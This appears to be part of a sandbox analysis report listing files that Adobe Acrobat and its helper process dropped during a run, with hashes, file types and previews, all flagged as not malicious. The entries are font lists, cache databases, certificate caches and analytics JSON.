SSDEEP:	6:iO4PfPd+q2Pwkn2nKuAl9OmbzNMxIFUtSPflZmwsPf3tVkwOwkn2nKuAl9OmbzNq:7IfwvYfHAa8jFUtOfl/Ufj5JfHAa84J
MD5:	50FF01178B9DD89489A6D5F5EE0FCB05
SHA1:	B6BB8378E6C018812C3D91F5EB65795C65B2A8ED
SHA-256:	EAD7CF09F9F66BD64233D670EA08898F746D643FB7254D46D7D02720DB1CEC4E
SHA-512:	C76263FEA765070E6771217E083DC00D9F03B76EA017DD887E36407B188FF7CE06DA43DE48AD833AD0855D31C66A8B5ACF8F39393976F7DA9548352A3A815DC3
Malicious:	false
Preview:	2025/01/10-17:34:36.303 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:34:36.310 1d48 Recovering log #3.2025/01/10-17:34:36.332 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445187523264524
Encrypted:	false
SSDEEP:	384:CeLci5t+iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:bRs3OazzU89UTTgUL
MD5:	F3F759510B79517969F0789D000FAD6F
SHA1:	778776125A756117DD050874BCA5AD5241BB7993
SHA-256:	B316F6EF8ECE3E45F677EA3310CFDE4D641B5A7CB4D28EC4591669AF07F51604
SHA-512:	CB4C012733A7E71163210BB10BE908577399F1C351DF9B253AF4F5579AA258C9872EFCB11FD736AB04293E63434894E92D2E8365129CA1D94E9C82C8EA82EE49
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.210920184028263
Encrypted:	false
SSDEEP:	24:7+tKmnuwKfqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9M4:7MnnCfq/mFTIF3XmHjBoGGR+jMz+LhJ
MD5:	DBC2FF3F0A0F9C23CC69697383112F3A
SHA1:	78386480AC3DC83F7D855DAF0E18D678BC926B0B
SHA-256:	5C4888D3C174B92CB7B0DBFEF537E77FB8D117F407CEDE7F1E11620ECEB216BA
SHA-512:	147CE607114F079EEB614B9EED77E5D92C1F14A0A8D99F66FA5D28CD7CA096FEDBF9F040D7E47964503F1DF900DC9663B41AF0C92E74515B331EA524C12AC6F4
Malicious:	false
Preview:	.... .c......DL.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.717788161692104
Encrypted:	false
SSDEEP:	3:kkFklBCydbNttfllXlE/HT8kDlrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKVy1NteT8MpNMa8RdWBwRd
MD5:	06DFC1E9068F861CA22C797061644930
SHA1:	57AE69F776A818E4BB758ACCE5D9135116D471E0
SHA-256:	70481648609565C2A2D5B98FC341EB37540F78BA3199A857E041CAA21F96FDE4
SHA-512:	712D1E2EBC498DAD4632262C2E9BB0C9B8CE2A6F4312BB4B0C1F11A37FCB6F871B9B1BB9B3548ADCC48010240B22ABC787E7B208B409852D5A6231E10334368D
Malicious:	false
Preview:	p...... ........ri..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKnuDL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:v6iDnLNkPlE99SNxAhUe/3
MD5:	D842881E7705C85EC3B28AE8E8F1FCAC
SHA1:	5639D3850E650E02D4CCDBBA4CDA882C654FE8F0
SHA-256:	073747A369A0CAF6E29A268EB4B9F6BBE0E41BEBBCCAC5CB64A200CBA3DA6468
SHA-512:	D47A30E1CA3682E7BB2821B63263CAE1978D2B8192CA60A9684EF6A94FED09116ABB89CE0817656557F62D273E984AFCB8E15F1A3642C3626298FBD8E2C15757
Malicious:	false
Preview:	p...... ..........;.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.373612295491257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJM3g98kUwPeUkwRe9:YvXKXBUdsxalZc0vyGMbLUkee9
MD5:	DF3D09A6C78FAA5B6AFD6747217DD25B
SHA1:	D39CE6C2B873254B09908CBAF2E05EBBD6563012
SHA-256:	A462342186492D665D573A7BEF4912D74415DF867EEB0735EA0F8CCE2C6873AC
SHA-512:	4534AED121F9D708B6B8F929F5E321436B9E92B340B9A589E1F8766C96E960B07D616E142A8F4F3177468553AB16402BB4C43185826BDFD09B9215D1390295B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321674952891412
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfBoTfXpnrPeUkwRe9:YvXKXBUdsxalZc0vyGWTfXcUkee9
MD5:	F1B9A22E78464D455E9474BFA3100609
SHA1:	0CA32B39D261EB0A8DA584B88E019A3D2B505B53
SHA-256:	95566EA92835AAC6E5D97D00062AAF4A2BAA864BA54EF50B35B24721608B34DA
SHA-512:	9EF3AC7D3329CE12ED73A25F2278019015626F8515319BEEF7195854A68547765A61E112277F9A368DE3303C8096D2D3715F75F338E880CCBC03D2B70B831B47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301434280548408
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfBD2G6UpnrPeUkwRe9:YvXKXBUdsxalZc0vyGR22cUkee9
MD5:	912E15954D3482F51213FD9A227764D1
SHA1:	E0E834260BE1BD70A593A8DEEA0153F7B775801A
SHA-256:	5B5F7ACB5D6AE08E502368B128D99B602D29EC5146456C516EB6544D8EAED3BE
SHA-512:	66A59356D007665BCFE59090D99D8D1C6C0D250BF0C0C8B601B4F0357B47FC1BE17F6BAE1CB8AB34502DA97544411B522C1C0FAF57936AB313D6C747AD9915ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3609824125346295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfPmwrPeUkwRe9:YvXKXBUdsxalZc0vyGH56Ukee9
MD5:	108FE78D7A743CACAFE3D1A6DF568185
SHA1:	8EFA7F1E5CEC4B46F2ECFFFF828024CC747FF7EB
SHA-256:	F31E9BA07E44D9ACF92FD91AFC853042CAA4EE1E390996A1452434A26650AF39
SHA-512:	72D7CE06840B63DBBBEE8FDA49BAE2E5AEAE2465F2D64026FAAAE992D5EB4F24A0062B58CA56BBE23251DD43EF120AB6A25074DA6D7FA6257F2B540C325B57EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691891937204901
Encrypted:	false
SSDEEP:	24:Yv6XBUC6zvPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:YvE63hgy6SAFv5Ah8cv/f
MD5:	7BC91824F842D8081F02F36ADB861333
SHA1:	3BDECB72ABE973EB35191375EDC747B33535D1D1
SHA-256:	3D0E3AC71C8DC78FC71B8165F2E1302033D10EAE0A0C8680505E413358920092
SHA-512:	F813CD5C6154A90BBD72F2584BDA12EFF9BEB6B0716E3DEEB81AD11AE6C685F0747D603C232AC08E7070AE81B6EC58AFEA0DCED13F37C80BAF39AA79E5386426
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308606334254765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJf8dPeUkwRe9:YvXKXBUdsxalZc0vyGU8Ukee9
MD5:	C0BCA596ED44734C80D4E39786311AFB
SHA1:	236E0E5B81A02300C2245EE204613938A0EEEFAD
SHA-256:	DC3DA320996966A2E8F40E70F15D0442F6B8B937266B5137FE751BAD2BC1420A
SHA-512:	D4D4C8B895E45DD51DDB89C637433509FE599650EE22210FA78EA91AAD333864FFD32E09D95BCC733D1B5E229860C09C884637B670E57FF14D2019BADFF9B412
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.311834924526673
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfQ1rPeUkwRe9:YvXKXBUdsxalZc0vyGY16Ukee9
MD5:	482C457B7A9C2AF9896C96B33577F858
